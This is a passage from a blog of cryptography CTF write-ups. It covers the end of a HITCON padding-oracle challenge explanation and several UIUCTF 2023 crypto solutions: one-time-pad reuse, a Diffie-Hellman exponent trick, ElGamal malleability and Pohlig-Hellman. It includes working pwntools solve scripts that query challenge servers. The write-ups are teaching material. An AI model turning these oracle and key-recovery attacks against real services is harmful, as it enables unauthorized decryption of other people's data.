By reading the padding code (or by looking up the graphs from the paper), we can start to understand how the padding works. Essentially, the idea is that the padding is one byte chosen from the previous block. This binds the padding result to both the last and the second to last block. When padding the string, the last byte of the plaintext ($X$ in the paper) is used to index into the second to last block, and the bytes pointed by that index will be used as the padding byte ($Y$ in th paper). If the chosen byte happens to be the same as the last byte, we xor the result with 1 so the padding pad is different from the last byte. The unpadding method works in reverse. We first find the repeating bytes at the end and removs them. We then verify if the removed bytes matches the byte indexed by the last plaintext byte. Due to the nature of the padding, the last bit of the verification isn’t checked.

When I created the challenge, I actually read the padding part wrong! How “careless” am I… It states that the xor with 1 check should be verified by double checking if Y and the indexed byte matches. This, however, was later discovered by myself to be easier to exploit, so I kept the earlier version. See the appendix for more information.

Now this property that the padding byte is dependent on the previous block really hinders our ability to do padding oracle. If we thinking about the common CBC padding oracle with PKCS#1.7 . We can flip bits in the iv to control the decrypted output of the block. But now this would not be an effective measure here since that will also changed what the iv block decrypts to. So the padding will jump around. Even if we hit and success padding, we have no way to know what byte the padding is exactly, since the output of decrypting with AES can be seen as random without knowning the key.

The solve

Forge Same Plaintext Block

Now let’s look at other part of the challenge. You might notice that before the flag is encrypted, it is wrapped in the json format. Now this is interesting. Combined with the flag format, if we count the bytes that we know, namely {'win': 'hitcon{, that’s 16 bytes, which is a full block! Is this a hint to somthing?

As we mentioned in the previous section, the repeating tail are remove in the first step. There are NO verification as to whether the tail is longer than a full block. If we forge a block such that all the characters are the same, the unpad method will remove the whole block, making the last plaintext byte in the second to last block, and the indexed byte in the even previous block!

So lets first forge this last block. Since we have a know plaintext block, we can xor the plaintext with the iv, and that will give us a all zero block when decrypted. That’s easy, what then?

Leaking Top 7 Bits

Think about the implication of having the last plantext byte in a different block. For now we don’t know what the last byte of the randomly decrypted second to last block is, but lets assume we know X. Then by control the IV of the thrid to last block, we can enumerate the indexed byte, and see when we have a match. This sounds similar to the standard CBC oracle right? We’re just manipulating a byte in the middle block and not the padding bytes themselves. Of course due to the nature of the padding, we can only leak the top 7 bits, since the last bit will be ignored when verifying.

Back to the problem of not knowing X, we might notice that X itself is not that important. We just need the lower half of it, as that will give us the indexed byte. Since we know one full plaintext block, we can construct a cipher text that looks like IV’|CT|IV’|CT, so that it decrypts to Y*16|random|Y*16. Now no matter what the X is, this should always validate. You can then go through each byte in the first block and change it to something different (like ^0xff) and see if it invalidate it this time. If there is any, we found the lower half of X!

Of course to leak each position, we need to find 16 different Xs such that every byte in the block is indexed. We can construct in total 256 different versions of the same plaintext block, and each of them will randomly hit one of the Xs. So the probably to not have every single X is a mere $(15/16)^{256} \approx 6.67\times 10^{-8}$. With the Xs known, we can execute the plan above and leak the lower 7 bits of the message.

Leaking Low Bit

How about the last bit? Here we’ll use a different strategy. Even though we never know the padding byte, if we brute force all 256 possible values, there must be one hit, as long as we’re actually permuting the indexed byte. So we can manipulate the plaintext and guess if the currect byte is used as the index or not. If after the bruteforce none of the bytes gives a valid padding, then our assumptions of the indexing byte must be incorrect. I’d call this a behavioral oracle, we’re observing based on if there is 1 successful padding or not within 256 oracles, and not a specific one.

In technically, this will only give us if the byte are the same as the previous byte, so we will still need one pivot point. From the previous step we know a method to extract the lower 4 bit of a X, so we can use a similar technique here. We just need to construct this once and we’ll get one lower bit.

Note that I believe that there ways to using a similar construction as the previous step (CT|IV|CT) to finish the whole step, but I’m too lazy and this is already efficient enough.

IO Optimization

After you implement everything, you’ll notice the oracle complexity is O(256b + k) where b is the messag length in bytes and k is a startup overhead. If you do one query at a time this will be painfully slow. The good thing is that for a lot of these nc connected challenges, you can abuse the buffering and send out a lot of querys at once before recieveing to reduce the networking overhead. Notice that in both of the bruteforcing step, we pretty much need to send out all the payload to get back a result anyway. So if we batch the input and output, we can get a much faster query time. When testing, my script can complete each oracle block in around 40 second with a server over sea.

Flag!

And with everything implemented, we now fire the exploit against the server and get out sweet prize! hitcon{p4dd1ng_w0n7_s4v3_y0u_Fr0m_4_0rac13_617aa68c06d7ab91f57d1969e8e8532}

Reference solve script

from pwn import *
from Crypto.Util.number import long_to_bytes
import time

N = 16

#p = process("./chal.py")
#p = remote("127.0.0.1", 11111)
p = remote("107.167.176.135", 11111)

p.recvuntil(b"key: ")
cipher = p.recvline()
cipher = bytes.fromhex(cipher.decode())
p.recvline()
p.recvline()

IV = cipher[:16]
FB = cipher[16:32]
Z = b"\x00"*16
I = [255]*16
known = b'{"key": "hitcon{'[:16]
IV0 = xor(IV, known)

oracle_count = 0

def oracle(m):
    global oracle_count
    oracle_count += 1
    p.sendline(m.hex().encode())
    return not b"weirdo" in p.recvline()

# async send to reduce network lag
def oracle_multi(ms):

    # res = [oracle(m) for m in ms]
    # return res

    global oracle_count
    l = len(ms)
    oracle_count += l
    for m in ms:
        p.sendline(m.hex().encode())
    res = [0] * l
    for i in range(l):
        res[i] = not b"weirdo" in p.recvline()
    return res

offset_db = [-1 for i in range(16)]

def get_offset_db():
    cur = 0;
    for i in range(256):
        if not -1 in offset_db:
            break
        ciphers = []
        for offset in range(16):
            OFF = (offset ^ FB[-1]) % 16
            check = I[:]
            check[offset] = 0
            cipher = xor(IV0, check, i) + FB + xor(IV0, i) + FB
            ciphers.append(cipher)
        res = oracle_multi(ciphers)
        if res.count(True) == 1:
            offset = res.index(True)
            OFF = (offset ^ FB[-1]) % 16
            offset_db[OFF] = i
    return offset_db


def oracle_block_top(BIV, BC):
    res = [0] * 16

    for offset in range(16):
        # get top 7 bit
        real_offset = (offset ^ BC[-1]) % 16
        IVL = xor(IV0, offset_db[offset])
        top_7 = -1
        ciphers = []
        for diff in range(0, 256, 2):
            check = list(BIV[:])
            check[real_offset] ^= diff
            cipher = xor(BIV, check) + BC + IVL + FB
            ciphers.append(cipher)

        res2 = oracle_multi(ciphers)
        result = list(zip(res2, range(0, 256, 2)))
        for ora, diff in result:
            if ora:
                print(offset, diff)
                top_7 = (diff ^ BIV[real_offset] ^ offset_db[offset]) & 0xfe
                res[real_offset] = top_7
                break
        else:
            # honestly I don't know what happned here
            # Sometime things just fall through for some reason...
            raise ValueError("Padding not found")

    return res

def oracle_block_lower(BIV, BC, Mtop):
    # 14th byte first, use as anchor
    # make sure Mtop[-1] != Mtop[-2]
    # cipher: control IV1 | control IV2 | BC
    # IV2 -> BIV + offset to control Mtop decrypt result -> partial known X, Y
    # IV1 -> use to bruteforce all permutation
    lowers = [0] * 16

    baseIV = xor(BIV, Mtop) # so decrypt(BC, iv = baseIV) will only contain 0 or 1
    diff = [0] * 16
    diff[-2] = 0xf0 # make sure it don't propagate
    IV2 = xor(baseIV, diff)

    # we check if some value in the first location match
    # yes -> last bit of Mtop[-2] is 0
    # no  -> last bit of Mtop[-2] is 1
    ciphers = []
    for brute in range(0, 256, 2):
        IV1 = [brute] + [0] * 15
        ciphers.append(bytes(IV1) + IV2 + BC)

    if oracle_multi(ciphers).count(True) == 1:
        lowers[-2] = 0
    else:
        lowers[-2] = 1

    # now we check if the last bit is the same as Mtop[-2]
    diff = [0] * 16
    diff[-3] = 0xf8 # make sure it don't propagate
    IV2 = xor(baseIV, diff, lowers)
    # we check if some value in the first location match
    # yes -> Mtop[-2] is X -> last bit of Mtop[-1] is 1
    # no  -> Mtop[-2] is not X -> last bit of Mtop[-1] is 0
    ciphers = []
    for brute in range(0, 256, 2):
        IV1 = [brute] + [0] * 15
        ciphers.append(bytes(IV1) + IV2 + BC)

    if oracle_multi(ciphers).count(True) == 1:
        lowers[-1] = 1
    else:
        lowers[-1] = 0

    # now we can consistantly form repeating tail
    # fill the rest of the lower bits
    for loc in range(13, -1, -1):
        diff = [0] * 16
        diff[loc] = 0xf0 # make sure it don't propagate
        IV2 = xor(baseIV, diff, lowers)
        ciphers = []
        for brute in range(0, 256, 2):
            IV1 = [brute] + [0] * 15
            ciphers.append(bytes(IV1) + IV2 + BC)

        if oracle_multi(ciphers).count(True) == 1:
            lowers[loc] = 0
        else:
            lowers[loc] = 1

    return [i+j for i, j in zip(Mtop, lowers)]

def oracle_block(BIV, BC):
    tops = oracle_block_top(BIV, BC)
    full = oracle_block_lower(BIV, BC, tops)
    return full


def attack():
    offset_db = get_offset_db()
    print(offset_db, oracle_count)
    m = known
    for loc in range(32, len(cipher), 16):
        m+=bytes(oracle_block(cipher[loc-16:loc], cipher[loc:loc+16]))
        print(m)

    print(m)
    print(oracle_count)


if __name__ == "__main__":
    attack()

Misc stuff

Theme

In the blog post I mentioned that we need a know plaintext block. To create a not-so-obvious one I thought about various ideas like zipping or drawing the flag in a small png. But all the ideas end up with one problem: The final file is too large. Testing with a oversea connection with optimized IO, I can only reasonably get ~200 bytes over 10 minutes, and we wish to make sure the challenge can be solved below that timeframe from everywhere. @maple3142 give me the idea of using json, and along with the flag format, that would make up a full block. Initially it’s something like {'flag':... but I then realize that the python json module adds a space after the colon, so I choosed key instead, and the theme just grow from there =D Hopefully it’s not too weird and enjoyable.

Server misconfigure

It is actually not intended for the server to have such a short timeout. As mentioned in the main article, it took 40 second even for an optimized solver to solve 1 block, so a 30 second timer is pretty unreasonable. I didn’t notice that the server have an timeout initially, but soon someone solved it, so it’s too late at this point to change that. My justification though is that you can leak different part of the flag across multiple connections, so technically this shouldn’t add too much complexity to the solve. But I do still appoligies for the inconvinent that this brings.

Unintended Solution

After the competition ended, @mouthon and @4yn mentioned that there is an unintended solution to this challenge. If we look at the line _Y = message[(block_count-2)*N+(X%N)], notice that if block_count is less then 2, the index would be negative. Thanks to the wonderful property of python negative indexing, this would actually still run, but get the bytes in the same block as X. This provides a lot of information about the single block. Again, this proves how careless I am… The detail of this attack is left as an exercise to the reader.

Appendix A - the proper padding and attack

In the main article, I mentioned that the challenge is easier if implemented correctly. Diffing the two files (this challenge and the correct implementation) shows the following:

$ diff chal.py chal2.py
43,44c43,47
<     if (Y != _Y and Y != _Y^1):
<         raise ValueError("Incorrect Padding")
---
>     if (Y != _Y and (Y != _Y^1 or _Y != X) ):
>             raise ValueError("Incorrect Padding")

It merely adds a check to verify that the xor with 1 case only happens when the indexed byte and the last byte collides. This eliminates the confusion on the last bit, so the full flag can be leaked using the first method. The corresponding solve script is as follows (just executing the first part of the exploit and leak the whole flag).

from pwn import *
from Crypto.Util.number import long_to_bytes
import time

N = 16

p = process("./chal2.py")
#p = remote("s.maple3142.net", 1337)

p.recvuntil(b"key: ")
cipher = p.recvline()
cipher = bytes.fromhex(cipher.decode())
p.recvline()
p.recvline()

IV = cipher[:16]
FB = cipher[16:32]
Z = b"\x00"*16
I = [255]*16
known = b'{"key": "hitcon{'[:16]
IV0 = xor(IV, known)

oracle_count = 0

def oracle(m):
    global oracle_count
    oracle_count += 1
    p.sendline(m.hex().encode())
    return not b"weirdo" in p.recvline()

# async send to reduce network lag
def oracle_multi(ms):

    # res = [oracle(m) for m in ms]
    # return res

    global oracle_count
    l = len(ms)
    oracle_count += l
    for m in ms:
        p.sendline(m.hex().encode())
    res = [0] * l
    for i in range(l):
        res[i] = not b"weirdo" in p.recvline()
    return res

offset_db = [-1 for i in range(16)]

def get_offset_db():
    cur = 0;
    for i in range(256):
        if not -1 in offset_db:
            break
        ciphers = []
        for offset in range(16):
            OFF = (offset ^ FB[-1]) % 16
            check = I[:]
            check[offset] = 0
            cipher = xor(IV0, check, i) + FB + xor(IV0, i) + FB
            ciphers.append(cipher)
        res = oracle_multi(ciphers)
        if res.count(True) == 1:
            offset = res.index(True)
            OFF = (offset ^ FB[-1]) % 16
            offset_db[OFF] = i
    return offset_db


def oracle_block(BIV, BC):
    res = [0] * 16

    for offset in range(16):
        # get top 7 bit
        real_offset = (offset ^ BC[-1]) % 16
        IVL = xor(IV0, offset_db[offset])
        top_7 = -1
        ciphers = []
        for diff in range(0, 256):
            check = list(BIV[:])
            check[real_offset] ^= diff
            cipher = xor(BIV, check) + BC + IVL + FB
            ciphers.append(cipher)

        res2 = oracle_multi(ciphers)
        result = list(zip(res2, range(0, 256)))
        for ora, diff in result:
            if ora:
                print(offset, diff)
                top_7 = (diff ^ BIV[real_offset] ^ offset_db[offset])
                res[real_offset] = top_7
                break
        else:
            # honestly I don't know what happned here
            # Sometime things just fall through for some reason...
            raise ValueError("Padding not found")

    return res

def attack():
    offset_db = get_offset_db()
    print(offset_db, oracle_count)
    m = known
    for loc in range(32, len(cipher), 16):
        m+=bytes(oracle_block(cipher[loc-16:loc], cipher[loc:loc+16]))
        print(m)

    print(m)
    print(oracle_count)


if __name__ == "__main__":
    attack()

References and Attribution

Thanks @maple3142 for testing and giving me ideas on various parts

UIUCTF 2023 Writeups

2023-07-03T00:00:00+00:00

Overview

Last weekend, our rival Sigpwny hosted their UIUCTF. We ranked 24th in the end. I solved 6 crypto, 4 reverse, and 1 pwn. This post will go through some of my solves in details. Hopefully this can serve as a tutorial for simular challenges in the future.

Challenge solved after the competition are marked as [*]

There will also be brief note on other challenge solved, though not as in depth.

Crypto

Three-Time Pad

We've been monitoring our adversaries' communication channels, but they encrypt their data with XOR one-time pads! However, we hear rumors that they're reusing the pads...

closed are three encrypted messages. Our mole overheard the plaintext of message 2. Given this information, can you break the enemy's encryption and get the plaintext of the other messages?

Author: Pomona
Solves: 390

We are given three encrypted file and one plain text file. We also know that the file is encrypted using “one time pad” that’s reused across the three file. First we need to understand what is one time pad.

One time pad is a encryption method, which takes a key that’s the same length as the plaintext, and xor the key with the plaintext. If the key is chosen at random, it is clear that one time pad is secure. In fact, it is proven to be perfectly secure (perfect secrecy). In this challenge, however, the key is shared across the three files. Why this is insecure then?

We’ll need to first understand the xor operation, xor stands for exclusive xor, so the output will be true if and only if one of the two input is true. Below is the truth table of the xor operation between two bits:

$a$	$b$	$a \oplus b$
0	0	0
0	1	1
1	0	1
1	1	0

Here we can make three observations:

($a \oplus a = 0$): If we look at the first and the last row, we can notice that if a and b are the same, the output will always be zero. This is reasonable, if we have two copy of the same time, they’ll always both be true or both be false, so they’ll never disagree with each other.
($ a \oplus 0 = a$): If we look at the case where b is 0, we can observe that the output is the same as a. This is also reasonable, if we fix one of the two iteam to be false, then the other one can fully control the output.
($ a \oplus b = b \oplus a$): Lets try to swap a and b in the table, we’ll notice that the output is still the same. This is natural as the original definition doesn’t have and ordering between the two items.

Now that we have this property, what can be learn?

If we look back to the one time pad scheme.

\[\mathtt{plaintext} \oplus \mathtt{key} = \mathtt{ciphertext}\]

What if we xor both side with a plaintext?

\[\begin{align} \mathtt{plaintext} \oplus \mathtt{key} \oplus \mathtt{plaintext} &= \mathtt{ciphertext} \oplus \mathtt{plaintext} \\ \mathtt{plaintext} \oplus \mathtt{plaintext} \oplus \mathtt{key} &= \mathtt{ciphertext} \oplus \mathtt{plaintext} \qquad (3.) \\ 0 \oplus \mathtt{key} &= \mathtt{ciphertext} \oplus \mathtt{plaintext} \qquad (1.)\\ \mathtt{key} &= \mathtt{ciphertext} \oplus \mathtt{plaintext} \qquad (2.) \\ \end{align}\]

Wow, if we xor the ciphertext with the plaintext, we can recover the key! Let’s do that with the plaintext file we have, then try to decrypt the other two files.

def xor(b1, b2):
    return bytes([i^j for (i, j) in zip(b1, b2)])
		
key = xor(open("p2", "rb").read(), open("c2", "rb").read())
print(key)
print(xor(key, open("c1","rb").read()))
print(xor(key, open("c3","rb").read()))

three-time-pad$ python solve.py
b'v\x90\x9f48@\t+\xc7\xc3\x81\x02\xa2\xac_\xf1\xcf!\x0c\x0c\xd8Y\x17\x9dr%\x80z\xb8\x84\xbf\x8d\xe6~\xe7\xfb\xd8\xac\xc22y\xb0!s\xae\x17\tc\x0e'
b'before computers, one-time pads were sometimes'
b'uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}'

Heyy there’s the flag! uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}

At Home

Mom said we had food at home

Author: Anakin
Solves: 316

from Crypto.Util.number import getRandomNBitInteger

flag = int.from_bytes(b"uiuctf{******************}", "big")

a = getRandomNBitInteger(256)
b = getRandomNBitInteger(256)
a_ = getRandomNBitInteger(256)
b_ = getRandomNBitInteger(256)

M = a * b - 1
e = a_ * M + a
d = b_ * M + b

n = (e * d - 1) // M

c = (flag * e) % n

print(f"{e = }")
print(f"{n = }")
print(f"{c = }")

In this challenge, c is calculated from flag * e % n. To solve this challenge, we can simply divide both side by e (or multiply by the inverse element).

\[\begin{align} c &\equiv flag \times e &\mod{n}\\ c \times e^{-1} &\equiv flag \times e \times e^{-1} &\mod{n}\\ c \times e^{-1} &\equiv flag &\mod{n}\\ \end{align}\]

Now the problem is now to find the inverse element of e? Well what an inverse element means is a number $e^{-1}$ such that

\[e \times e^{-1} \equiv 1 \mod{n}\]

if we expend that equation, we’ll get

\[e \times e^{-1} + k\times n = 1, \mathtt{where} \ k \in \mathbb{Z}\]

Based on Bézout’s identity, we know that there exist $a$ and $b$ such that

\[ax + by = gcd(x, y)\]

Here the x and y is our e and n respectively. Let’s check the gcd of the two.

at_home$ python
Python 3.8.10 (default, May 26 2023, 14:05:08)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from math import gcd
>>> e = [...]
>>> n = [...]
>>> gcd(n, e)
1

Clearly the gcd is 1, so Bézout’s identity applies. Now we just need to find a and b respectively. One such method is by using the Extended Euclidean algorithm. But python actually provides a easy method to calculate the modular inverse of a number, using the default power function pow(e, -1, n) (I belive this is only is python 3.8+. The full solve script is as follows

from Crypto.Util.number import long_to_bytes
e = 359050389152821553416139581503505347057925208560451864426634100333116560422313639260283981496824920089789497818520105189684311823250795520058111763310428202654439351922361722731557743640799254622423104811120692862884666323623693713
n = 26866112476805004406608209986673337296216833710860089901238432952384811714684404001885354052039112340209557226256650661186843726925958125334974412111471244462419577294051744141817411512295364953687829707132828973068538495834511391553765427956458757286710053986810998890293154443240352924460801124219510584689
c = 67743374462448582107440168513687520434594529331821740737396116407928111043815084665002104196754020530469360539253323738935708414363005373458782041955450278954348306401542374309788938720659206881893349940765268153223129964864641817170395527170138553388816095842842667443210645457879043383345869

inve = pow(e, -1, n)
flag = (inve*c)%n
print(long_to_bytes(flag))

And that gives us the flag! uiuctf{W3_hav3_R5A_@_h0m3}

Group Project(ion)

Group Project
In any good project, you split the work into smaller tasks...

nc group.chal.uiuc.tf 1337
---
Group Projection
I gave you an easier project last time. This one is sure to break your grade!

nc group-projection.chal.uiuc.tf 1337

Author: Anakin
Solves: 232 (ver1)/ 127 (ver2)

from Crypto.Util.number import getPrime, long_to_bytes
from random import randint
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


with open("/flag", "rb") as f:
    flag = f.read().strip()

def main():
    print("[$] Did no one ever tell you to mind your own business??")

    g, p = 2, getPrime(1024)
    a = randint(2, p - 1)
    A = pow(g, a, p)
    print("[$] Public:")
    print(f"[$]     {g = }")
    print(f"[$]     {p = }")
    print(f"[$]     {A = }")

    try:
        k = int(input("[$] Choose k = "))
    except:
        print("[$] I said a number...")
        return
    if k == 1 or k == p - 1 or k == (p - 1) // 2 or k <= 0 or k >= p:
        print("[$] I'm not that dumb...")
        return

    Ak = pow(A, k, p)
    b = randint(2, p - 1)
    B = pow(g, b, p)
    Bk = pow(B, k, p)
    S = pow(Bk, a, p)

    key = hashlib.md5(long_to_bytes(S)).digest()
    cipher = AES.new(key, AES.MODE_ECB)
    c = int.from_bytes(cipher.encrypt(pad(flag, 16)), "big")

    print("[$] Ciphertext using shared 'secret' ;)")
    print(f"[$]     {c = }")
    return

if __name__ == "__main__":
    main()

For this challenge, the server is performing something like a three-party diffi-hellman key exchange, where there are two party that provides $g^a % p$ and $g^b % p$, and you provide a $c$. The secret is then calculated from $g^{abc} % p$. Now the objective is to use c to control the output of the secret such that we can recover the message.

There are different approaches. One initial idea might be to let $c = 0$. This way, the secret becomes $g^{ab\times 0} = g^0 = 1$, and we can derive the key ourselves. And this approach indeed works for group project since there are no check against this. However, for group projection, this approach is blocked and we need some other ways to derive the key.

First, we’ll need some background on Fermat’s little theorem.

| Fermat’s little theorem states that if p is a prime number, then for any integer a, the number a $a^{p}-a$ is an integer multiple of p. In the notation of modular arithmetic, this is expressed as $a^{p} \equiv a \mod{p}$,

In other words

\[a^{p-1} \equiv 1 \mod{p}\]

Therefore, when we are finding a large power of a number under modulo, we can take the modulo on the exponents as well in the following way.

\[g^{abc} \equiv g^{(abc \mod{p-1})} \mod{p}\]

This means that if $p-1\vert abc$, $g^{abc} \equiv g^{0} \equiv 1 \mod{p}$

Now the challenge also forbid us from sending $p-1$ or $\frac{p-1}{2}$ as input. But lets say we supply $\frac{p-1}{3}$, if by random chance either $a$ or $b$ contains 3 as a factor, the resulting $abc$ will divide $p-1$, then the key will be fixed to 1. There is also a chance that 3 is not a factor of p-1, then this strategy won’t work, and we need to skip those cases. The probably overall is $(1/3)(1-(1-1/3)^2) =5/27$, so if we just send a couple requests, we should get the flag. And indeed this works.

Flag -

(group project): uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}

(group projection): uiuctf{brut3f0rc3_w0rk3d_b3f0r3_but_n0t_n0w!!11!!!}

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *
from Crypto.Cipher import AES

from pwn import *

def solve():
    nc_str = "nc group-projection.chal.uiuc.tf 1337"
    _, host, port = nc_str.split(" ")
    p = remote(host, int(port))

    p.recvline()
    p.recvline()
    p.recvline()
    G = int(p.recvline().split(b"g =")[-1])
    P = int(p.recvline().split(b"p =")[-1])
    A = int(p.recvline().split(b"A =")[-1])
    print(G, P, A)
    if (P-1)%3 != 0:
        p.close()
        return False

    p.sendline(str((P-1)//3).encode())

    p.recvline()
    c = int(p.recvline().split(b"c =")[-1])

    print(c)

    key = hashlib.md5(long_to_bytes(1)).digest()
    cipher = AES.new(key, AES.MODE_ECB)
    flag = cipher.decrypt(long_to_bytes(c))
    print(flag)
    p.close()
    return b"uiuctf{" in flag

if __name__ == "__main__":
    while not solve():
        print("Attempting")

#uiuctf{brut3f0rc3_w0rk3d_b3f0r3_but_n0t_n0w!!11!!!}

Morphing Time

The all revealing Oracle may be revealing a little too much...

nc morphing.chal.uiuc.tf 1337

Author: Anakin
Solves: 140

#!/usr/bin/env python3
from Crypto.Util.number import getPrime
from random import randint

with open("/flag", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")


def setup():
    # Get group prime + generator
    p = getPrime(512)
    g = 2

    return g, p


def key(g, p):
    # generate key info
    a = randint(2, p - 1)
    A = pow(g, a, p)

    return a, A


def encrypt_setup(p, g, A):
    def encrypt(m):
        k = randint(2, p - 1)
        c1 = pow(g, k, p)
        c2 = pow(A, k, p)
        c2 = (m * c2) % p

        return c1, c2

    return encrypt


def decrypt_setup(a, p):
    def decrypt(c1, c2):
        m = pow(c1, a, p)
        m = pow(m, -1, p)
        m = (c2 * m) % p

        return m

    return decrypt


def main():
    print("[$] Welcome to Morphing Time")

    g, p = 2, getPrime(512)
    a = randint(2, p - 1)
    A = pow(g, a, p)
    decrypt = decrypt_setup(a, p)
    encrypt = encrypt_setup(p, g, A)
    print("[$] Public:")
    print(f"[$]     {g = }")
    print(f"[$]     {p = }")
    print(f"[$]     {A = }")

    c1, c2 = encrypt(flag)
    print("[$] Eavesdropped Message:")
    print(f"[$]     {c1 = }")
    print(f"[$]     {c2 = }")

    print("[$] Give A Ciphertext (c1_, c2_) to the Oracle:")
    try:
        c1_ = input("[$]     c1_ = ")
        c1_ = int(c1_)
        assert 1 < c1_ < p - 1

        c2_ = input("[$]     c2_ = ")
        c2_ = int(c2_)
        assert 1 < c2_ < p - 1
    except:
        print("!! You've Lost Your Chance !!")
        exit(1)

    print("[$] Decryption of You-Know-What:")
    m = decrypt((c1 * c1_) % p, (c2 * c2_) % p)
    print(f"[$]     {m = }")

    # !! NOTE !!
    # Convert your final result to plaintext using
    # long_to_bytes

    exit(0)


if __name__ == "__main__":
    main()

If we look at the source code, we know that we’re dealing with an elgamal encryption. The privillege we have is being able to “modify” the cipher texts by multiplying some number. Let’s dig deeper into how elgamal encrypts a message. First, we generates the public parameters $g$ and $p$. We then generate a key pair $a, A$, where $A \equiv g^a \mod{p}$. $A$ is then distributed along with the public parameters as the public key, and a is kept as the private key. This encryption relays on the security of the discrete log problem, where it’s hard to find $a$ give $A$.

To encrypt a message, the sender first choose a random number $k$. The sender then calculate two number $c_1 \equiv g^k \mod{p}$ and $c_2 \equiv m \times A^k \mod{p}$. Notice that the second equation expands to

\[\begin{align} c_2 &\equiv m \times (g^{a})^{k} &\mod{p}\\ c_2 &\equiv m \times g^{ak} &\mod{p}\\ c_2 &\equiv m \times (g^{k})^{a} &\mod{p}\\ c_2 &\equiv m \times c_{1}^{a} &\mod{p}\\ \end{align}\]

Therefore, since the reciever knows $a$, they can simply multiply $c_2$ by the inverse of $c_1^a$ to get back the message.

Now what’s the attack here? Notice the random number $k$, what would happen if we choose a different random number, lets say $k’ = k+1$, what would the encrypted message be like now?

\[\begin{align} c_1' &\equiv g^{k'} &\mod{p}\\ &\equiv g^{k+1} &\mod{p}\\ &\equiv g^{k}\times g &\mod{p}\\ &\equiv c_1 \times g &\mod{p}\\ \\ c_2' &\equiv m \times A^{k'} &\mod{p}\\ &\equiv m \times A^{k+1} &\mod{p}\\ &\equiv m \times A^{k} \times A &\mod{p}\\ &\equiv c_2 \times A &\mod{p}\\ \end{align}\]

Which is a different, equally valid, encryption of the original message. This property is call homomorphism. In this case, we learn that elgamal is homomorphic under multiplication. Hence the name morphing time.

To solve this challenge, if we submit (g, A) as (c1_, c2_), the server will decrypt the flag for us, and we simply need to convert that back to bytes.

flag: uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *

from pwn import *
nc_str = "nc morphing.chal.uiuc.tf 1337"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

p.recvline()
p.recvline()
p.recvline()
G = int(p.recvline().split(b"g =")[-1])
P = int(p.recvline().split(b"p =")[-1])
A = int(p.recvline().split(b"A =")[-1])
print(G, P, A)
p.recvline()
c1 = int(p.recvline().split(b"c1 =")[-1])
c2 = int(p.recvline().split(b"c2 =")[-1])

p.sendline(str(G))
p.sendline(str(A))

p.recvuntil("Decryption")
p.recvline()
m = int(p.recvline().split(b"m =")[-1])

print(long_to_bytes(m))

Crack The Safe

Overview

I found this safe, but something about it seems a bit off - can you crack it?

Author: Anakin
Solves: 62

from Crypto.Cipher import AES
from secret import key, FLAG

p = 4170887899225220949299992515778389605737976266979828742347
ct = bytes.fromhex("ae7d2e82a804a5a2dcbc5d5622c94b3e14f8c5a752a51326e42cda6d8efa4696")

def crack_safe(key):
    return pow(7, int.from_bytes(key, 'big'), p) == 0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759

assert crack_safe(key) and AES.new(key,AES.MODE_ECB).decrypt(ct) == FLAG

This is a really short challenge and not a lot of code to read through. Essentially we need to solve the discrete log problem to find the key such that

\[7^{key} \equiv \mathtt{0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759} \mod{p}\]

We can first verify that p is a prime number. Typically, DLP under finite field is consider a hard problem. However, the difficulty of the DLP problem is bounded by the largest prime factor of the order of the finite field. Let’s check the factors of the order, which is p-1 in this case. It turns out that p-1 is smooth, which means that the largest prime factor of p-1 is relatively small.

\[\begin{align} &4170887899225220949299992515778389605737976266979828742347 \\ &= 2 \times 19 \times 151 \times 577 \times 67061 \times 18279232319 \times 11154337669 \times 9213409941746658353293481 \\ \end{align}\]

Even the largest factor, 9213409941746658353293481, is only 83 bits long. This calls for a Pohlig-Hellman attack.

Pohlig-Hellman Attack

What is a Pohlig-Hellman Attack though? According to Wikipedia, it is a way to break down a large DLP problem into multiple smaller sub-problems, then combine the result using chinese reminder theorm (CRT). The rough idea is as follows. Given a group $\mathbb{G}$ with order $p$, where $p$ is not a prime, and we want to find $x$ such that $g^x = k$

We know that after $p$ operation, the cycle loop back to itself. i.e. $k^p = 1$ for any k.
Let’s take a factor $e$ and let $t = p/e$, if we pre-compute $g_0 = g^t$, then we know $g_0^e = 1$ as $t \times e = p$
This tells us that $g_0$ actually forms a smaller group with group order $e$. If we transfor g and k into element of this smaller group, it will be easier to find the solution. This solution is of course incomplete, but we will gain some information related to x.
In particular, the tranformation takes $g_0 = g^t$ and $k_0 = k^t$, and solve for the equation $g_0^{x_0} = k_0$, we can observe the following equation.
\[\begin{align} g^x &= k \\ (g^x)^t &= k^t \\ g_0^{x_0} = (g^t)^{x_0} &= k^t \\ xt &\equiv tx_0 \mod{p}\\ x &\equiv x_0 \mod{\frac{p}{t}} \qquad \because t \vert p \ ^{*1} \\ x &\equiv x_0 \mod{e} \\ \end{align}\]
*1: Note that I’m not sure if this holds, but it make sense =D
After we gather all the reminder from the various factors, we can use CRT to reconstruct $x$ from all the $x_0$

When I’m initially learning a bout pohlig-hellman attack, this blog that applies this attack on elliptic curve cryptography helped me a lot. I get to understand how the attack works more intuiatively. If you want more detailed description on the attack, this will be a great resource along with the wiki page.

Cado-nfs

Even though we can split the problem down into small chunks, we still need to deal with each smaller pieces. All the factors except the last one is relatively easy to tackle, as the built in sage discrete log function solves them quite easily. The last one is still problematic though. From some previous experience (i.e. GoogleCTF2023 - cursved), I know that cado-nfs is a good tool for solving dlp of size less than around 250 bits. I need to search around a little bit and found the official cado-nfs repo. Just follow the steps to install it.

Reading the user manual, we learn that the –dlp option allows us to find the discrete log of a number, but to a “random” base $b$, so $b^{x} \equiv a \mod b$. That’s totally fine, as we can do a change of base algorithm to switch to any log base. $log_a(b) = log_c(b) / log_c(a)$

To use cado-nfs, we will first need to know that number we need to take the discrete log with. A short python script gives as the value.

p = 4170887899225220949299992515778389605737976266979828742347
k = 0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759

